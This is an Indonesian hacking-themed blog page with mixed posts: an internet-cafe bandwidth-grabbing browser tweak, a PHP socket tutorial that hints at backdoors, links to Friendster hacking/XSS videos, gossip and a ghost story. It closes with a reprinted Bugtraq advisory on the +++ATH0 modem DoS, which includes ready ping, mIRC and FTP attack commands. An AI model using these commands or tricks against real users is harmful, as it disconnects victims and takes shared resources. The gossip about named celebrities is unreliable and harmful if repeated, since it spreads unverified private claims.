Friendster,Hacking,Cracking,Carding

MONOPOLI BANDWIDTH

Written by ferry89 on 21.01

Pernah gak temen2 ngerasain pas lagi warnet aaupun di kantor yang walaupun sepi user tapi buat browsing ttp pelan, download juga pelan bgt... itu karena tiap bilik/room udah di batasi bitrate n bandwithnya... nah sekarang masalah itu mungkin bisa teratasi dengan cara

ini:

1). Buka Browser Mozilla Firefox
2). Pada Address Bar Ketik : about:CONFIG
3). Cari string di bawah ini : ( pastikan semua srting dibawah "TRUE")
contoh menggantingnya :
NETWORK.HTTP.PIPELINING FALSE ==> klik kanan dan pilih "Toggle"
NETWORK.HTTP.PIPELINING TRUE
NETWORK.HTTP.PIPELINING.MAXREQUESTS 64
NETWORK.HTTP.PROXY.PIPELINING TRUE
NETWORK.PROXY.SHARE_PROXY_SETTINGS FALSE <=== ini harus False
4). buat srting baru caranya : Klik Kiri 1X Dimana Saja, Klik Kanan [/b]NEW>>INTEGER[/b]
5). Ketik : NGLAYOUT.INITIALPAINT.DELAY Beri Nilai 0
6). Kemudian REFRESH atau Tekan F5
7). Pada Address Bar Ketik : about:BLANK
Klik Menu:
Untuk OS Windows XP TOOLS>>OPTIONS>>WEB FEATURES
Untuk OS Linux ( Vector ) EDIT >> PREFERENCES
Untuk Setting yang berbeda di beberapa OS EDIT >>ADVANCED
9). Pada Option :
ALLOW WEB SITES TO INSTALL SOFTWARE Beri Tanda Check Box Untuk mengaktifkan
10).Kemudian Tekan OK Lalu REFRESH ( F5 )
11).Masuk Ke Link Ini :
https://addons.mozilla.org/extension...firefox&id=125
atau :
https://addons.mozilla.org/extension...ltered=firefox
12).Download Software SwitchProxy Tool Versi 1.3.4
13).Setelah Selesai Jangan Tekan Tombol UPDATE
14).Klik Tanda X (tutup)Yang Ada Di Pojok Kanan Atas Dari POP UP Window Yang Muncul
15).Tutup Semua Browser Mozilla FireFox,
16).Kemudian Buka Lagi Untuk Mengaktifkan Software SwitchProxy Tool Versi 1.3.4 Yang sudah di Install Tadi
17).Kalo Instalasi Sukses, Akan Muncul Toolbar tambahan Di Bawah Toolbar Navigasi & Address Bar.
Sekarang Browser Mozilla Siap Untuk Digunakan…….
:: Message ::
-- Software SwitchProxy Tool Versi 1.3.4 Ini selain untuk Mengganti Proxy Secara Otomatis Di Browser Mozilla FireFox, Engine-nya Juga Berpengaruh terhadap Kecepatan Koneksi Internet
-- Cara Ini Sangat Efektif Bila Digunakan Di Warnet Yang Padat Pengunjung untuk Menyedot Bandwidth ( Mayoritas kecepatan akses Internet ) Ke Komputer Yang Sedang Anda Pakai
-- Perubahan Yang Signifikan Terjadi Pada koneksi Internet Dengan BROADBAND / VSAT

Cara diatas sudah saya coba dan berhasil pada warnet maupun di kantor

Selengkapnya.....

TANDA-TANDA TERJADINYA KECANDUAN INTERNET

Written by ferry89 on 20.32

Ringkasan ini tidak tersedia. Harap klik di sini untuk melihat postingan.

Selengkapnya.....

Socket programming dengan PHP

Written by ferry89 on 20.25

"Socket programming dengan PHP?? Masa bisa sih??"

Itulah pertanyaan yang pernah dilontarkan oleh seseorang di IRC. Waktu itu saya juga bertanya-tanya,
mungkin gak ya?. Setelah buka-buka artikel dari master2 PHP, akhirnya

saya harus berterima kasih
kepada Daniel Solin. ya, karena PHP sendiri tidak menerangkan tentang basic understanding tentang apa
yang dimaksud dengan socket, bagaimana membuat code PHP sehingga 2 komputer itu bisa berkomunikasi, dll.
Makanya pengertian PHP socket itu saya dapat dari Daniel Solin.

Ok, langsung fokus aja, kamu pasti tau apa itu network 'kan? socket? hmmm....nggak juga?!
Gini, socket itu adalah salah satu low-level feature abstrack yang dimiliki oleh operating system.
Cukup segitu aja karena kita tidak perlu mengetahui lebih jauh kalau hanya ingin menggunakan socket
di program kita. Yang kita butuhkan hanya philosophy dasar dari cara kerja socket.

Network socket dalam PHP tidak/belum dilengkapi dengan 'most advanced feature' sebagaimana yang
dimiliki oleh C, tapi 95% dari network application bisa digarap disini. Not bad 'kan?. Karenanya kamu
bisa membuat real network application menggunakan 'easy-to-use language', PHP. Perhatikan contoh
code listing1.php (Bagian bawah artikel ini).

Perhatikan baris ke-8, penggunaan set_time_limit(0) agar PHP mengetahui kalau kita menginginkan koneksi
pada waktu yang tak terbatas.

Pada baris ke-11 hingga ke-15, kita membuat socket baru. Hal ini dikenal dengan global socket yang akan
menjadi check pamareter atas semua koneksi yang masuk. Untuk itu kita menggunakan fungsi socket() yang
menggunakan 3 argument. Karena artikel ini tidak membahas tentang network proggie, maka ke-3 argument tsb
tidak dibahas disini. Kalau level kamu sudah intermediate/advance kamu bisa menggunakan argument2 lain
daripada yang digunakan pada contoh listing1 (artinya kamu udah mampu membuat network programming).
Contoh yang cukup menarik pada listing1 terlihat di argument yang kedua, SOCK_STREAM mendeklarasikan TCP
sebagai protocol dari socket (tidak dengan UDP).

Pada baris ke-18 hingga 22, socket yang baru terbentuk di bound ke IP address dan port tertentu. Selama
kamu menginginkannya untuk jalan di local machine, maka nomer IP nya 127.0.0.1. Port yang digunakan
adalah 10000, diambil secara random. Kamu bisa menggunakan port tertentu antara 1024-65535 yang tidak terpakai.

Baris ke-28 hingga 31 menerangkan kalau processnya kembali ke posisi listen. Sedangkan pada baris ke 34
hingga 38 process akan menunggu koneksi yang masuk. Dalam istilah pemrograman, fungsi accept_connect()
akan menunggu hingga koneksi itu datang sendiri. So, program pada listing1 akan berhenti beroperasi pada
tahap ini hingga kita melakukan telnet/remote koneksi ke mesin tsb. Perlu diperhatikan, accept_connect()
akan membuat socket lain ketika koneksi yang baru telah diterima, biasanya disebut dgn $msgsock,
yang akan menangani bagian perkoneksian.

Pada baris ke-41 hingga 46 kita membuat welcome message yang akan diterima oleh visitor dengan menggunakan
fungsi write(). Ingat, process ini dilakukan oleh $msgsock dan bukan oleh $sock. Pada tingkat ini,
fungsi aceept_connect() telah mendeteksi adanya koneksi. Bisa disimpulkan disini scriptnya telah berajalan baik.

Pada baris ke-49 hingga 54, terlihat sesuatu yang menarik. Disini $msgsock yang mengambil alih untuk
memastikan $sock bisa masuk/diterima. Dalam istilah pemrograman, penggunaa read() adalah untuk membaca
data dari koneksi kita. Supaya kita bisa menerima data, data tsb harus dikirim terlebih dahulu dari
pihak lain. Seperti halnya accept_connect(), perintah read() akan menunggu hingga sesuatu terjadi. Ketika
data telah diterima di port 10000, $msgsock, akan mengambil data tsb dan menampilkannya melalui variable $buf.
Sekarang kita telah menerima tampilan data melalui $buf dan dapat mengirimkannya kembali pada baris ke-57
hingga 61. Disini, sekali lagi $msgsock akan mengambil alih, dan $sock akan tetap terbuka.

Hal terakhir pada script ini yaitu pada baris ke-64 hingga 67 PHP menutup socket dan menutup koneksi network.

MENGUJI TCP SERVER KITA

Setelah mempelajari dari source code listing1 maka kini saatnya untuk pengetesan. Jangan lupa untuk
merename source tersebut menjadi listing1.php. Seperti biasanya, supaya kita bisa menjalankan suatu
program maka kita harus terlebih dahulu mengatur permissionnya:

chmod 755 listing1.php

Dan pastikan juga baris pertama source code listing1.php mengacu ke path PHP binary system kamu. Lalu
tinggal dijalankan:

./listing1.php

Kalau terjadi error socket() function is undefined, maka kamu harus mengedit PHP binary kamu dengan
menjalankan ./configure --enable-sockets, recompile dan reinstall PHP binary kamu dengan command
make && make install.

Nah, setelah tidak ada error lagi langsung aja jalankan telnet ke server kamu (dalam bahasan ini
adalah localhost):

$telnet localhost 10000

Perintah diatas menunjukkan kalau kita ingin melakukan koneksi ke server localhost melalui port 10000
yang telah di tentukan di source code listing1.php. (Nama server dan port disesuaikan dengan kode kamu).
Apabila semuanya lancar, maka akan tampak seperti berikut:

$Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
Welcome to my TCP server!

Wow....sudah masuk tuh...
Coba deh buat sesuatu yang berguna di server tsb. Sebagai contoh, saya mengetikkan:

Hello
You said: Hello
Connection closed by foreign host.

Gimana? kool? walaupun sederhana, namun kita telah membuat suatu network connection yang real dan dapat
melakukan interkoneksi data melalui socket.

Sekarang kebayang gak kalo socket itu dijadikan backd00r? Gimana caranya? Hehehe.....Udah ah segitu aja.
Lagian kan temanya bukan pembuatan backd00r.

*NOTE: PHP adalah interpreter language yang syntaxnya hampir sama dengan C language. Kalau kamu sudah
familier dengan salah satunya maka kemungkinan kamu tidak akan kesulitan dalam menggunakan keduanya. ;>

Semoga berguna untuk meningkatkan pengetahuan Proggie PHP kita.

Salam buat A_BlAcK_LisT, Acetosal, jhon angga, ryan_the, ucoxxx, AcCezZdENieD dan KIDS_KIDS. Special buat teman2 yang
tidak bisa disebutkan satu persatu di #SecretColony, #HackingCentre, #DoD, #Level9-Team, #AntiMedanHacking @t DAL.Net.

Best Regs

KillFinger

Greetz to Daniel Solin ,a freelance writer and Linux consultant whose specialty is GUI programming.
His first book, SAMS Teach Yourself Qt Programming in 24 hours, was published in May, 2000

Source Code Listing1.php

1 #!/usr/local/bin/php -q
2
3

Selengkapnya.....

Video Friendster Hacking Bagian 2

Written by ferry89 on 18.16

Ufffff.....

akhir2 ini tempat tinggal gw diguyur hujan teruz....... Sehingga membuat gw untuk bersakit ria......

Tapi its oke lah klo untuk posting ilmu yg baru....kita mah biar hujan badai (

Mudahan enggak....)tetep aja dikerjain.....

sengihnampakgigi

Sebenernya gw sich malez buat ngetik2.

.....
anyway....kemaren kan udah video hack friendster yg pertama, nah sekarang video hack bagian ke 2.....Jadi kalian pelajari dengan seksama dee.....
Nah ini proyeknya...

Download Video 1
Download Video 2

O iya.... ke dua video ini berformat .swf so kalian mesti mendownload playernya DISINI

Selengkapnya.....

Gaya Ciuman Berdasarkan Zodiak

Written by ferry89 on 17.56

Aries
Orang-orang Aries ternyata memiliki gaya berciuman yang cepat dan penuh dengan nafsu. Tapi sayangnya ciuman dahsyat tersebut biasanya cepat pula selesainya.

Taurus
Berbeda dengan mereka yang berada di bawah naungan Aries, dimana ciuman mereka umumnya berlangsung sangat perlahan, tidak tergesa-gesa, tenang, penuh kemesraan dan berlangsung terus… terus… dan terus.

Gemini
Orang-orang Gemini konon merupakan pribadi yang hangat dan ceria. Tidak heran jika gaya berciuman mereka terkadang diselingi oleh senyuman bahkan juga tawa lebar. Asyiknya, sifat warga Gemini yang terkenal gemar melakukan sesuatu yang baru itu pun dilakukannya dalam melakukan ciuman. Jadi banyak kejutannya!

Cancer
Warga Cancer memang terkenal dengan sikapnya yang hati-hati, agak tertutup dan cenderung ingin selalu dilindungi. Tak heran jika dalam urusan berciuman mereka lebih suka melakukannya dengan lembut, hangat, dan seperti tidak mau lepas saja!

Leo
Orang-orang Leo yang terkenal keras dan tegas ternyata memiliki gaya berciuman yang liar, tanpa malu-malu, bahkan tidak segan-segan untuk menggigit dan mencakar! Pun warga bintang berlambang singa ini ternyata sangat senang jika mendapat pujian dari pasangannya, utamanya pujian atas gairahnya yang luar biasa.

Virgo
Warga Virgo memiliki gaya berciuman yang halus, lembut, rapi, sampai-sampai sang pasangan pun bakal terkesima dibuatnya.

Libra
Gaya berciuman warga Libra konon kurang hangat! Kenapa? Karena mereka pada umumnya terlalu khawatir dengan urusan macam-macam di luar hasrat mereka. Belum lagi, mereka gemar menghela nafas di tengah-tengah ciuman.

Scorpio
Percaya atau tidak, orang-orang di bawah naungan Scorpio rupanya tidak terlalu suka dengan ciuman. Karenanya, jangan kaget apabila dalam sebuah hubungan intim mereka kerap melewatkan aktifitas yang satu itu dan lebih suka langsung menuju sasaran.

Sagitarius
Hmmm.berbahagialah Anda yang berbintang Sagitarius atau pun yang memiliki pasangan dengan bintang ini. Pasalnya, mereka yang berbintang dengan lambang busur panah ini memiliki gaya berciuman yang mengejutkan, spontan, dan menggairahkan. Tak heran jika konon banyak orang yang menanti-nanti ciuman ala si Sagitarius ini.

Capricorn
Ciuman-ciuman yang didaratkan oleh orang-orang berbintang Capricorn kabarnya sangat-sangat romantis. Bahkan saking romantisnya, ciuman ala mereka kerap menjadi obat pembunuh stress!

Aquarius
Sesuai dengan lambangnya, air, warga Aquarius ternyata memiliki ciuman yang basah dan agak serabutan. Selain itu, pada saat ciuman berlangsung mereka umumnya cenderung membuka mata lebar-lebar.

Pisces
Orang-orang dengan bintang berlambang ikan ini memiliki gaya berciuman pandangan mata tajam, penuh nafsu dan gairah, serta wow … berlangsung cukup lama!

Selengkapnya.....

GOSIP EDAN (BOLEH PERCAYA ATAU ENGGAK)

Written by ferry89 on 17.21

# Kabarnya Ferry Irawan artis play boy kita, sewaktu kecil sampai remaja (SMP) memiliki tompel di pipi yang berdiameter 3 cm total lingkar 6 cm.
Koq sekarang engga ada sih? ya udah dioperasi, lah! Terus nama panggilannya sekarang Ferry tompel dong?!?

# Orang banyak yang bertanya soal Sudomo, si mantan menteri yang genit itu. "Kenapa sih si Sudomo itu ngga kena masalah KKN??" Itu kan bisa-bisanya dia ngumpet dan tutup mulut. Makanya dia ngga gencar lagi cari cewe! Seandainya dapat cewe yang baru, paling tidak si mantan menteri ini ngga mau berkomitmen untuk berhubungan dengan si cewe lebih serius. Dasar playboy cap nangka tua!

# Ferry Irawan emang selalu bikin berita. Gosip ini tentang rumah tangganya dengan Audrey. Ada kabar bahwa Ferry sudah pisah ranjang dengan Audrey. Penyebabnya adalah orang ketiga. Dan orang ketiga yang disebut-sebut adalah Cici Faramida. Cici telah memenangkan hati Ferry kembali.

# Artis cantik dan seksi, Sarah Azhari diam-diam sudah punya momongan, dan melahirkan si jabang bayi di kota Medan (Sumatera Utara), lalu siapa ya suaminya ? katanya sih masih rahasia, biar surprise gitu! Jangan-jangan bapaknya dua lagi! Soalnya yang ngaku bapaknya itu bayi sudah 2 orang. Wah wah!

# Denger-denger si cindy fatika sari udah punya anak sama tengku firmansyah, dan anaknya itu sekarang tinggal di pesanggrahan yang gak di jagain ama bokap-nyokap nya sendiri. Yang ngurursin anaknya itu pembantunya. Makanya kita sering denger kalo waktu cindy ke USA itu perutnya udah gede jadi ngelahirin anaknya di sana.

# Eh, pernah dengar nggak, katanya pemeran mak lampir (farida pasha) di indosiar, mati waktu shooting, dan katanya topeng mak lampir tidak bisa dilepas dari wajahnya

Selengkapnya.....

KALO PENAKUT MENDING GA USAH BACA DEH!!!

Written by ferry89 on 16.27

Udah lama sih kejadian ini,tapi dulu ramai banget orang membicarakan suara wanita misterius yang secara di sengaja atau tidak terekam di mailbox (answering machine) di telfon yang bernomor (021)838-2000.

Ketika itu team kami mendengar berita adanya suara misterius dan nomor telfon tersebut (yah sekitar tanggal 30 Juni 2000), kami langsung segera menelfon nomor tersebut. Kami semua sempat terpana, ketika mendengarkan suara wanita itu bersama-sama melalui speaker phone. Suaranya bagus dan merdu namun terdengar seakan-akan dia sedang kecewa berat dan putus asa. Kami tidak membuang-buang waktu dan segera merekamnya karena kami yakin nomor telfon tersebut tidak akan berumur panjang, dan suara di mailbox tersebut akan hilang. Ternyata kami benar. Keesokan harinya (1 Juli 2000), nomor telfon tersebut sudah tidak dapat di hubungi lagi, sudah di putus pihak Telkom. Namun, menurut beberapa orang, nomor tersebut sampai sekarang masih ada dan bisa di hubungi.

Cerita yang kami dengar adalah bahwa wanita yang memiliki suara di mailbox itu telah meninggal akibat bunuh diri. Dia bunuh diri karena sangat kecewa dengan pacarnya yang bernama Anto. Entah apa yang Anto telah perbuat, wanita malang ini nekat bunuh diri. Sebelum bunuh diri, dia menyempatkan diri untuk merekam pesan dia yang terakhir di mailbox di telfon rumahnya.

Ada yang bilang bahwa ini bohong belaka. Banyak pula yang bilang kalau pesan (message) yang bisa kita dengar di mailbox itu sering berubah-rubah, seperti jalan cerita sebuah sandiwara. Ada pihak yang berkata kalau itu rekayasa, dimana kita akan di kenakan biaya sekitar Rp 4000 setiap menelfon nomor 838-2000 tersebut.

Karena banyaknya versi-versi cerita mengenai suara misterius tersebut, team dagelan segera menghubungi pihak Telkom dan menanyakan perihal ini. Kami dua kali menelfon penerangan di nomor 108 dan bertanya kepada mereka. Mereka pun mempunyai jawaban yang sedikit berbeda pula. Kesimpulan kami:

* Bahwa nomor 838-2000 itu sudah lama di putus oleh pihak Telkom. Beberapa tahun silam.
* Bahwa nomor 838-2000 tidak terdaftar lagi di Telkom sejak lama.
* Operator pertama berkata bahwa nomor 838-2000 beralamatkan di Casablanka daerah pekuburan.
* Operator kedua berkata bahwa nomor 838-2000 itu adalah nomor telfon bengkel Toyota AUTO2000 di jalan Saharjo yang beberapa bulan lalu di lalap api dan sudah tidak tersisa lagi bangunannya.
* Bahwa nomor 838-2000 itu beralamatkan di daerah Casablanka tepatnya di suatu rumah kos-kosan dimana telah terjadi pemerkosaan dan pembunuhan yang dilakukan oleh tiga orang pria terhadap seorang wanita cantik lulusan Australia, Melbourne.
Bila anda ingin mendengarkan suara wanita misterius yang telah kami rekam, anda bisa mendownload nya DISINI....

Bagaimana menurut anda? Apakah ini benar-benar suara hantu ataukah hanya rekayasa?

Selengkapnya.....

Mengenal Lebih Jauh tentang Hacker

Written by ferry89 on 19.58

Mengenal Lebih Jauh ttg Hacker

Dalam dunia kita (hacker) terdapat tingkat/level. Seorang hacker akan
melalui tahapan tahapan untuk menjadi sempurna. Tahapan tersebut ialah:

1. Mundane Person
Tingkatan paling bawah. Seseorang pada tingkatan ini pada dasarnya tidak
tahu sama sekali tentang hacker dan cara-caranya, walaupun ia mungkin
memiliki komputer sendiri dan akses Internet. Ia hanya tahu bahwa yang
namanya hacker itu membobol sistem komputer dan melakukan hal-hal yang
negatif (tindak kejahatan). Padahal sebenarnya hacker bukan seperti itu,
kecuali hacker tidak taat e-tik

2. Lamer
Seseorang pada tingkatan ini masih dibingungkan oleh seluk beluk hacking
karena ia berpikir bahwa melakukan hacking sama seperti cara-cara waras
(dalam dunia underground berarti menggandakan perangkat lunak secara ilegal).
Pengetahuannya tentang hal-hal seperti itu masih minim, tapi sudah mencoba belajar.
Seseorang pada tingkatan ini sudah bisa mengirimkan trojan (yang dibuat orang lain)
ke atau pada komputer orang lain ketika melakukan obrolan pada IRC atau ICQ dan
menghapus file-file mereka. Padahal ia sendiri tidak tahu persis bagaimana trojan bekerja.
Seseorang yang sukses menjadi hacker biasanya bisa melalui tahapan ini dengan cepat bahkan melompatinya.

3. Wannabe
Pada tingkatan ini seseorang sudah mengetahui bahwa melakukan tindakan hack itu lebih dari
sekedar menerobos masuk ke komputer orang lain. Ia lebih menganggap hal tersebut sebagai sebuah filsafat
atau way of life. Akhirnya ia jadi ingin tahu lebih banyak lagi. Ia mulai mencari,
membaca dan mempelajari tentang metode-metode hacking dari berbagai sumber.

4. Newbie
Pada tingkatan ini ia sudah memiliki dasar-dasar teknik hacking.
Ia akan mencoba menerobos masuk ke sistem orang lain hanya untuk mencoba apa yang sudah ia pelajari.
Meskipun demikian, pada tingkatan ini ia mengerti bahwa ketika melakukan hacking ia tidak harus merusak sistem
atau menghapus apa saja jika hal itu tidak diperlukan untuk menutupi jejaknya.

5. Hacker
Sebenarnya sulit untuk mengatakan tingkatan akhir atau final dari hacker telah tercapai,
karena selalu saja ada sesuatu yang baru untuk dipelajari atau ditemukan
(mengumpulkan informasi dan mempelajarinya dengan cermat merupakan dasar-dasar yang sama bagi seorang hacker)
dan hal tersebut juga tergantung perasaan (feeling). Meskipun demikian, menjadi seorang hacker memang lebih menjurus
pada hal pemikiran.

Hacker yang tidak taat pada etik akan menjadi:

Dark-side Hacker
Seorang Dark-side hacker sama seperti Darth Vader (tokoh dalam film Star Wars) yang tertarik dengan kekuatan kegelapan.
Hal ini tidak ada hubungannya dengan masalah “baik” atau “jahat” tapi lebih kepada masalah “sah (sesuai hukum yang berlaku)” dan “kekacauan”.
Seorang Dark-side hacker punya kemampuan yang sama dengan semua hacker, tapi “sisi gelap” dari pikirannya membuat ia menjadi unsur berbahaya.

Selengkapnya.....

Mengejar "Hacker" Itu Mudah

Written by ferry89 on 19.13

Tanggapan Atas Tulisan di Media Kompas 'Mengejar "Hacker" Itu Mudah'

Jasakom - Terus terang membaca artikel diatas yang ditulis oleh Affan Basalamah, membuat saya "terpaksa" ikutan berkomentar atas kasus ini.

Media : Kompas, 10 Mei 2004
Judul : Mengejar "Hacker" Itu Mudah
Halaman : 39

Berikut ini beberapa tanggapan yang sempat saya catat setelah membaca tulisan tersebut. Jika saya baca secara detail tulisan tersebut ada beberapa kejanggalan disana.

Kejanggalan yang sempat saya catat antara lain :

1. Log yang tercatat pada firewall ataupun web server KPU hanyalah IP dari Thailand, karena ketika Dani melakukan serangan dia mempergunakan proxy anonymous Thailand.

2. Kalaupun Tim IT KPU, berhasil mengidentifikasi sang penyerang, maka yang akan tercatat adalah IP Proxy Anonymous Thailand, bukanlah IP Dani (PT. Danareksa).

3. Jika memang Tim IT KPU berhasil kontak dengan pengelola proxy anonymous Thailand, maka Tim IT KPU harus memegang log proxy yang mengakses situs KPU pada saat terjadinya serangan. Karena di dalam log inilah akan tercatat IP mana saja yang mempergunakan proxy anonymous untuk mengakses situs KPU. Log inilah yang akan menjadi bukti kuat bahwa Dani memang mempergunakan proxy anonymous tersebut untuk menyerang situs KPU. (Menurut pandangan saya hal ini cukup sulit mengingat biasanya proxy anonymous tidak memiliki log ini. Kalaupun ada rasanya tidaklah mudah untuk mendapatkan log tersebut, karena pengelola proxy anonymous pasti akan merahasiakannya. Oleh karena melibatkan privacy orang lain, oleh sebab itu namanya "proxy anonymous").

4. Darimana Tim IT KPU berhasil memiliki nickname pelaku pembobolan?, karena biar bagaimanapun, jika misalkan ada orang lain yang berhasil menembus sistem keamanan KPU, maka sang cracker dapat menuliskan nickname yang ia mau. Sebagai contoh, misalkan saja saya berhasil menembus keamanan KPU dan bisa mendefaced situs KPU, maka ada kemungkinan saya akan menuliskan "Hacked By Someone", padahal belum tentu orang yang memiliki nick someone melakukannya.

5. Secara teoritis, apa yang ditulis dalam artikel tersebut memang menggambarkan model penangkapan cracker, tapi apakah memang metode itu yang dipergunakan untuk menangkap Dani? terus terang saya ragu. Karena yang saya tangkap dari beberapa tulisan selama ini tertangkapnya Dani adalah hanya karena nickname Dani dan kemudian cybercrime polisi melakukan social engineering di IRC. Jadi proses yang digambarkan dalam artikel tersebut bukanlah metode yang digunakan untuk menangkap Dani. Kecuali memang ada log proxy anonymous yang dipegang oleh Tim IT KPU.

6. Seandainya Dani tidak mengakui bahwa ia berhasil menembus sistem keamanan KPU, lalu darimana tim IT KPU membuktikannya? lha wong selama ini belum pernah ada kabar bahwa tim IT KPU memegang log proxy anonymous (belum lagi masalah keabsahan bukti digital)?

7. Pembobolan situs KPU tidak 100% merupakan kesalahan Dani. Karena Tim IT KPU juga melakukan kesalahan dalam membangun aplikasi/scripting. Analogi rumah yang dimasuki maling seperti yang dituliskan dalam artikel tersebut tidak dapat dijadikan dasar untuk menghukum Dani, karena apa yang terjadi di dunia nyata tidak dapat disamakan dengan di dunia maya. Kalaupun dipaksa menggunakan analogi seperti itu justru menurut saya seharusnya Tim IT KPU juga mendapat hukuman, karena memberikan kesempatan kepada Dani (Seperti kata Bang Napi di RCTI, -kejahatan tidak hanya terjadi karena niat pelakunya, tapi juga karena kesempatan yang ada, maka waspadalah... waspadalah... :-)-)

Beberapa minggu yang lalu saya sempet diskusi dengan S'to (pengelola http://www.jasakom.com) untuk masalah ini di Pasar Festival Jakarta dan ada beberapa hal yang bisa saya tangkap, antara lain :

1. Tertangkapnya Dani tidak disertai bukti yang kuat (karena bukti digital tidak dapat dijadikan acuan, belum lagi -mungkin- tidak adanya log proxy anonymous sebagai bukti terkuat).

2. Proses penangkapan yang dilakukan cybercrime hanyalah mengandalkan nickname Dani dan social engineering di IRC.

3. Pembuktian Dani sebagai pelaku dikarenakan Dani mengakui bahwa ialah pelakunya. Jadi sama sekali bukan hasil kerja KPU. kalaupun Dani menyangkal melakukannya maka nickname Dani tidak dapat dijadikan bukti kuat. Jadi bisa disimpulkan bahwa sebenarnya Dani MENYERAHKAN DIRI bukan DITANGKAP seperti yang selama ini digembar-gemborkan oleh media massa.

4. Keberhasilan Dani men-defaced Situs KPU, membuktikan bahwa tidak ada sebuah sistem yang aman 100%. Ini jelas merupakan pembuktian dari omongan Ketua IT KPU yang mengatakan bahwa sistem mereka aman 100%.

5. Firewall yang dikatakan 6 lapis pun ternyata bisa ditembus hanya karena bug SQL injection yang jelas-jelas merupakan bug lawas. Jelas bahwa kesalahan bukanlah di level sistem operasi ataupun firewallnya tapi berada pada level aplikasi/scripting yang dibangun. Pantaskah aplikasi ini untuk level KPU jika dikembalikan ke dana +/- 200 milyar?

Terlepas dari salah atau tidaknya Dani, saya cuman mengingatkan bahwa ada kemungkinan kasus semacam ini akan timbul dimasa-masa mendatang, untuk itu diperlukan perangkat hukum dan aturan yang jelas. Dan sudah barang tentu penyusunan perangkat hukum tersebut juga melibatkan komunitas underground, sehingga nantinya hukum tersebut bisa mengakomodir berbagai pihak.

Saat ini saya cuman berharap, jika memang Dani harus dihukum maka hukuman yang diberikan nantinya adalah merupakan hukuman yang win-win solution... Semoga..........

Selengkapnya.....

Video Hacking Friendster

Written by ferry89 on 17.14

Hai Guyz.....
Akhirnya.......
hm....hm......Setelah Beberapa hari ini aku udah bela2 ini ntuk ga sekolah..... Finnaly aku menemukan sesuatu yg lumayan berguna juga........
Dalam posting kali ini, aku mencoba untuk membeberkan sedikit...Gimana cara menghacking friendster...Tp, eitz tunggu dulu..... Kali ini postingan nya beda......
Kita menggunakan video....Jadi langsung praktek bro.......
Oceee.........ini bukan sesuatu untuk di praktekan....semata-mata hanya untuk pengetahuan.....

Friendster episode1.rar

FriendsterXSS Episode 2.rar

Selengkapnya.....

Modem Error

Written by ferry89 on 22.15

--------------------------------------------------------------------------------

Aduh koneksi dialup saya disconnect terus
Pernahkan anda ketika sedang asyik-asyik main IRC, dan tiba-tiba modem anda disconnect, dan setiap kali terkoneksi dan join ke channel mengalami modem anda disconnect lagi. Anda mungkin diserang oleh lawan anda dengan menggunakan eksploitasi +++ATH0. Saya rasa hal ini sering dialami oleh warnet-warnet yang menggunakan modem dialup untuk internet sharing, dimana mungkin salah satu kliennya melakukan hal yang tidak sopan pada channel sehingga diserang.

Tulisan ini perlu dibaca oleh setiap orang yang menggunakan modem untuk melakukan koneksi ke internet, dan merupakan keharusan bagi pemilik warnet untuk mengetahuinya.

Tulisan ini tidak ditujukan untuk mengajari anda bagaimana melakukan disconnect modem pemakai di Internet, tetapi memberikan informasi bahwa kemungkinan hal tersebut dapat dilakukan, sehingga anda dapat berhati-hati dan menanggulanginya.

--------------------------------------------------------------------------------

1+2=3, +++ATH0=Old school DoS Attack
Date: Sun, 27 Sep 1998 13:52:33 -0400
Reply-To: wage@IDIRECT.CA
Sender: Bugtraq List
From: "Max Schau (Noc-Wage)"
Organization: M.C.S.R
Subject: 1+2=3, +++ATH0=Old school DoS
To: BUGTRAQ@NETSPACE.ORG

+++ATH0
Dipersiapkan oleh Noc-Wage (Max Schau, M.C.S.R) Dipersembahkan untuk anda oleh orang-orang yang mengagumkan di #hackers undernet dan M.C.S.R

All OS's using a dial-up connection are at risk.

***CATATAN***
Ini adalah suatu eksploitasi yang sudah kuno, tetapi tidak ada cara yang efektif untuk menyelesaikan masalah ini, sehingga perlu diketahui oleh setiap orang atau minimal memberikan perhatian

.
***CATATAN***

Mulanya berasal dari perhatian saya terhadap nak, dan maffew "s2=255 Fix" dan menjadi perhatian saya akan SuiDRoot dan Sygma diantara menit yang satu sama yang lain. (Saya memeriksa manual modem) Juga terima kasih kepada Defraz, DrSmoke dan zerox (swab) untuk memperbolehkaan saya bertukar pikiran dengan mereka dan kontibusi ide untuk proyek tersebut. Terima kasih juga untuk rekan-rekan di #hackers.

Mungkin hal ini akan mengingatkan kepada anda akan masa kejayaan dari BBS di tahun 80-an dan 90-an. ;)

Kebanyakan modem dewasa ini menggunakan Hayes Command set (ATZ, ATDT, ATH0..) Kelemahan dari modem-modem ini cara menangani string-string tertentu sehingga menyebabkan mereka terbuka bagi serangan sejenis DoS. Yaitu dengan membuatnya melakukan respon terhadap string "+++ATH0", pada umumnya modem (dari berbagai merek) akan menggangap +++ATH0 sebagai usaha dari pemakai untuk memasuki modus perintah (command mode) secara manual dan menjalankan perintah tertentu. Ketika modem korban mencoba melakukan respon terhadap +++ATH0 (sesaat modem menemukannya dalam datagram IP) modem akan otomatis melakukan hung-up.

Bagaimana Eksploitasi ini dilakukan

Dengan perintah ping:

ping -p 2b2b2b415448300d host

Untuk pemakai IRC (pada mirc):

/raw NOTICE ToastyMan $+ $chr(1) $+ PING +++ATH0 $+ $chr(1)

Nampaknya juga dapat bekerja melalui bnc atau proxy.

**Tidak bekerja pada semua modem **

Beberapa modem, seperti U.S. Robotics, modem jenis 33.6 yang membutuhkan suatu hentian kira-kira satu detik dimana tidak ada text yang dikirim sebelum dan sesudah +++ untuk memasuki modus perintah. Sehingga hal tersebut tidak menyebabkan modem untuk melakukan hang up, karena tidak ada cara untuk membuat mesin korban melakukan jawaban terhadap +++ tanpa diikuti data seketika (tidak ada cara untuk membuat suatu selang waktu antara +++ dengan ATH0). Hal ini terjadi karena Frame pada PPP selalu diikuti data setelah IP datagram.

Suatu contoh serangan yang mungkin dilakukan adalah sebagai berikut : (IP address dapat diubah sesuai kebutuhan)

[wage@koroshiya /]$ telnet 192.168.1.1 21 Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
220 foo FTP server (Version wu-2.4.2-academ[BETA-15](1) Fri Dec 12 20:41:
USER +++ATH0
^]
telnet> close
Connection closed.

[wage@koroshiya wage]$ telnet 192.168.1.1 21 Trying 192.168.1.1...
telnet: Unable to connect to remote host: Network is unreachable [wage@koroshiya wage]$

Modem yang diketahui memiliki hasil efek:

Logicode 28.8
Supra 33.6 (internal)
Diamond Supra v.90
